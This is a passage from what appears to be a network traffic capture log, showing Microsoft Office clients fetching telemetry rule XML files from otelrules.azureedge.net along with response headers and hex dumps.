2024-10-28 18:12:40 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 0ad7b348-901e-0067-0d67-28b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181240Z-r1755647c66vwt2b5wfzb6a204000000024g0000000048dk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49875	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:40 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:41 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181240Z-17fbfdc98bbx59j5xd9kpbrs8400000004yg000000002cnv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:41 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49876	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:41 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:41 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 35d0191b-501e-0047-5a17-26ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181241Z-17fbfdc98bb5d4fn785en176rg00000005gg000000001n7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49878	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:41 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:41 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:41 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181241Z-17fbfdc98bbdbgkb6uyh3q4ue400000004s0000000009hua x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:41 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49879	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:41 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:41 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:41 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181241Z-r1755647c665dwkwce4e7gadz00000000670000000008ehw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:41 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49877	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:41 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:41 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:41 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8055f236-801e-0083-4e87-28f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181241Z-r1755647c66hlhp26bqv22ant400000005m000000000543f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:41 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49880	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:41 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:41 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:41 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 84f9cde7-901e-0083-36a3-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181241Z-17fbfdc98bblzxqcphe71tp4qw00000000vg000000001evx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:41 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49881	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:42 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:42 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181242Z-17fbfdc98bb5d4fn785en176rg00000005d000000000a9ws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:42 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:42 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 92c6748a-601e-0001-5ca3-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181242Z-r1755647c668pfkhys7b5xnv2n00000005zg000000004ubc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:42 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49882	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:42 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:42 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181242Z-17fbfdc98bb2xwflv0w9dps90c000000066000000000cy0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49883	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:42 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:42 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 30963bf2-701e-0001-2a98-28b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181242Z-17fbfdc98bb8mkvjfkt54wa53800000003f00000000004bx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:42 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49885	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:42 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:42 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:42 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181242Z-17fbfdc98bbsw6nnfh43fuwvyn00000003h0000000006uqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
